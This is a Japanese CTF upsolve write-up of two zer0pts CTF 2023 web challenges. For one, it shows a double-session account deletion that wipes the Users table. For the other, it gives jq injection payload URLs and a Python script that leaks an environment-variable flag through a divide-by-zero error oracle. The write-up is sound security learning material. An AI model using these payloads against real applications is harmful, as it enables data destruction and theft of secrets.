web upsolve
土日は普通に予定ありまくりだったので、終わってからregisterするという初めての体験をしました。
月曜日の祝日を使って2問だけupsolveできたのでそのwriteup。
まだまだweb問あるけど、これ以上解くのはしんどいのでwriteupを読んできます。。。
Warmuprofile
I made an app to share your profile.
URLにアクセスすると「Container Spawner」という画面がでる。どうやら個人用のインスタンスが用意される系の問題みたいだ。
生成すると、600秒限定でアクセスできるインスタンスが生えてきた。
ありがたいことに docker compose で起動できるので、基本的にはローカルで検証するのがよさそうだ。
register と login がある。
register では既存のIDを重複して作成することはできない。適当に作成してログインしてみる。
プロフィール閲覧、ユーザ削除、フラグ取得、ログアウトがある。
プロフィール閲覧とログアウトは特に気になるところはなく、フラグ取得はユーザIDが admin
の時のみ実行可能という感じ。
ユーザ削除だけちょっと不思議に思う箇所があった。
app.post('/user/:username/delete', needAuth, async (req, res) => { const { username } = req.params; const { username: loggedInUsername } = req.session; if (loggedInUsername !== 'admin' && loggedInUsername !== username) { flash(req, 'general user can only delete itself'); return res.redirect('/'); } // find user to be deleted const user = await User.findOne({ where: { username } }); await User.destroy({ where: { ...user?.dataValues } }); // user is deleted, so session should be logged out req.session.destroy(); return res.redirect('/'); });
わざわざ findOne
したうえでそれを destroy
に渡している。
ここで findOne
の結果が0件だった時にどうなるかを試してみたい。
// find user to be deleted const user = await User.findOne({ where: { username } }); await User.destroy({ where: { ...user?.dataValues } }); // find user to be deleted const user2 = await User.findOne({ where: { username } }); await User.destroy({ where: { ...user2?.dataValues } });
warmuprofile-app-1 | Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'a'; warmuprofile-app-1 | Executing (default): DELETE FROM `Users` WHERE `id` = 2 AND `username` = 'a' AND `password` = 'a' AND `profile` = 'a' AND `createdAt` = '2023-07-17 09:22:26.483 +00:00' AND `updatedAt` = '2023-07-17 09:22:26.483 +00:00' warmuprofile-app-1 | Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'a'; warmuprofile-app-1 | Executing (default): DELETE FROM `Users`
Users テーブルの全レコードが削除された。これで admin を登録すれば flag が手に入る。
わざわざ環境を切り離していることからもこの方針で間違いなさそう。
問題は「どうやって User.destroy を2回実行させるか」というところ。
削除対象の username
は req.param
なのでどうにでもなるが、loggedInUsername
となる username
はセッションから取っている。
loggedInUsername
が正しくないと削除は実行されないし、削除後に session.destroy
されてるのでセッションの使いまわしは不可。
ここで、重複ログイン状態で有効なセッションが2つあるときにそれぞれから削除を実行することでうまく行きそうだと思いついた。
プライベートタブを利用して同じアカウントに重複ログインし、アカウント削除をそれぞれから実行する。
これでUsersテーブルの全レコードが削除される。
ユーザID admin
で登録してみたらそのまま flag が取得できた。
jqi
I think jq is useful, so I decided to make a Web app that uses jq.
Keys
で指定したフィールドのみを取得することができ、Conditions
は文字列検索みたいな感じ。
ただ、keys
には規定の文字以外入らない上に conds
を指定したら「demoバージョンでは使えないよ」って言われる。
const KEYS = ['name', 'tags', 'author', 'flag']; : for (const key of keys) { if (!KEYS.includes(key)) { return reply.send({ error: 'invalid key' }); } } : let result; try { result = await jq.run(query, './data.json', { output: 'json' }); } catch(e) { return reply.send({ error: 'something wrong' }); } if (conds.length > 0) { reply.send({ error: 'sorry, you cannot use filters in demo version' }); } else { reply.send(result); }
ただ、conds
のエラー処理は jq.run
よりも後にある。
jq.run
時にエラーが起きた場合は catch
が実行されるので、「something wrong」となるはず。
この辺で「エラーベースで特定できるのかな」と想像がつく。
もう少し細かく読んでいると、 index.js の43行目あたりで "
と \(
をはじいていた。
// check if the query is trying to break string literal if (str.includes('"') || str.includes('\\(')) { return reply.send({ error: 'hacking attempt detected' }); }
「構文崩す系の攻撃が刺さるのかな?」と予想して、node-jq
のコードをチラ見しに行ったら exec
していた。
exec(command, args, stdin, cwd)
いつもの jq でデバッグすれば同じ挙動をしてくれそうだとわかる。
それでは、query
がどう組み立てられているかを見ていく。
const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS; const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : []; : // build query for selecting keys for (const key of keys) { if (!KEYS.includes(key)) { return reply.send({ error: 'invalid key' }); } } const keysQuery = keys.map(key => { return `${key}:.${key}` }).join(','); // build query for filtering results let condsQuery = ''; for (const cond of conds) { const [str, key] = cond.split(' in '); if (!KEYS.includes(key)) { return reply.send({ error: 'invalid key' }); } // check if the query is trying to break string literal if (str.includes('"') || str.includes('\\(')) { return reply.send({ error: 'hacking attempt detected' }); } condsQuery += `| select(.${key} | contains("${str}"))`; } let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`; console.log('[+] keys:', keys); console.log('[+] conds:', conds); console.log('[+] query:', query);
最後の query
の出力はデバッグ用に自分で追加した。
http://localhost:8300/api/search?keys=name&conds=test+in+name
としたときの出力が以下。
jqi-app-1 | [+] keys: [ 'name' ] jqi-app-1 | [+] conds: [ 'test in name' ] jqi-app-1 | [+] query: [.challenges[] | select(.name | contains("test")) | {name:.name}]
conds
を複数にしたら query
はこうなる。
http://localhost:8300/api/search?keys=name&conds=test+in+name,test2+in+name
jqi-app-1 | [+] query: [.challenges[] | select(.name | contains("test"))| select(.name | contains("test2")) | {name:.name}]
先述の通り、"
と \\(
は弾かれるので使えない。
が、\\
は見られてないので、一個目の cond
を \\
にすることで二個目の cond
でダブルクォートの外に出れる。
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]+in+name
jqi-app-1 | [+] query: [.challenges[] | select(.name | contains("\"))| select(.name | contains("))]")) | {name:.name}]
この時点でレスポンスは something wrong
になっている。対応するカッコを閉じても後ろのゴミで構文エラーになってるっぽい?
何か記号とか使ってコメントアウトできないかなと Intruder を回していると、#
で「sorry, you cannot use filters in demo version」となった。構文エラーから脱出できた。
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]%23+in+name
問題はここからどうやって環境変数を読むかだが、調べていると jq
内では env.FLAG
で取得できるようだ。
また、if 文や計算とかもできるみたい。おなじみのゼロ除算で行けそう。
しばらくコマンドラインとにらめっこして出来上がったのが以下。
┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi] └─$ export FLAG="fake" ┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi] └─$ echo "{}" | jq '1/if env.FLAG | startswith([102]|implode) then 1 else 0 end' 1 ┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi] └─$ echo "{}" | jq '1/if env.FLAG | startswith([103]|implode) then 1 else 0 end' jq: error (at <stdin>:1): number (1) and number (0) cannot be divided because the divisor is zero
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]|1/if+env.FLAG+|+startswith([110]|implode)+then+1+else+0+end%23+in+name
これでエラーベースに1文字ずつ特定できる。
import requests flg = [ord(c) for c in "zer0pts{"] pref = 'http://localhost:8300/api/search?keys=name&conds=\+in+name,))]|1/if+env.FLAG+|+startswith(' suff = '|implode)+then+1+else+0+end%23+in+name' c = 0 while chr(c) != "}": # zer0pts\{[\x20-\x7e]+\} for c in range(32, 126): u = pref + "[" + "]%2b[".join(str(i) for i in flg) + f"]%2b[{c}]" + suff print("".join([chr(i) for i in flg]) + chr(c), end="\r") response = requests.get(u) if len(response.text) == 57: flg.append(c) break print("".join([chr(i) for i in flg]))
(フラグフォーマットの zer0pts{
を決め打ちにしていたら、ローカルの fake flag は nek0pts{
になっていてかなり悩んでしまった)
開催が終わったからか、APIがかなり遅いのでリモートでは2文字だけ特定して終わりにしておいた。
┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi] └─$ py solve.py zer0pts{1 zer0pts{1d ^CTraceback (most recent call last):
ローカルではすぐ特定できたので満足。